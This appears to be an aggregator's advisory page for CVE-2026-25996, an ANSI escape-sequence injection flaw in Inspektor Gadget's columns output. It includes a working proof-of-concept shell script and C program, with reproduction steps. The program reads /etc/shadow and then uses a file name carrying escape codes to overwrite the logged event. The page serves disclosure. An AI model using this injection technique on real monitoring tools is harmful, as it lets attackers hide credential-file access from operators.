Inspektor Gadget uses unsanitized ANSI Escape Sequences In columns Output Mode
String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.
Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects.
The columns output mode is the default when running ig run interactively.
run.sh
```bash
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
CONTAINER_NAME="poc-escape-inject"
echo "Make sure ig is running in another terminal:"
echo " sudo ig run trace_open -c ${CONTAINER_NAME}"
echo ""
echo "Press Enter to continue..."
read -r
sudo docker run --rm \
--name "${CONTAINER_NAME}" \
-v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \
gcc:latest \
bash -c "
gcc -o /tmp/escape_inject /src/escape_inject.c && \
/tmp/escape_inject
"
```
escape_inject.c
```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
static void read_file(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd >= 0)
close(fd);
}
static void create_file(const char *path)
{
int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd >= 0)
close(fd);
}
int main(void)
{
printf("[1] normal activity\n");
create_file("/tmp/app.log");
printf("[2] malicious read of /etc/shadow\n");
read_file("/etc/shadow");
usleep(300000);
printf("[3] tampering the log\n");
create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C");
usleep(300000);
return 0;
}
```
1. Setup a Linux host and build/install ig version 0.48.0
2. Run the attached run.sh on a terminal
3. Run sudo ig run trace_open -c poc-escape-inject on another terminal
4. Press "Enter" on the terminal attached to run.sh
5. Observe the events traced by ig
6. Notice that, at some point, the line where /etc/shadow is logged is overwritten /etc/bashrc, demonstrating the log injection
The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying columns output.
At the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.
However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:
The json output mode was already sanitizing the content.
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-25996 is classified as CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences. The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.
CVE-2026-25996 is recorded against 2 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)
github.com (Web)
github.com/inspektor-gadget/inspektor-gadget has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/inspektor-gadget/inspektor-gadget | — | — |
| inspektor-gadget | — | 0.49.1 |
Similar Threats
Exploit Protection
CVE-2026-25996 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-25996 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.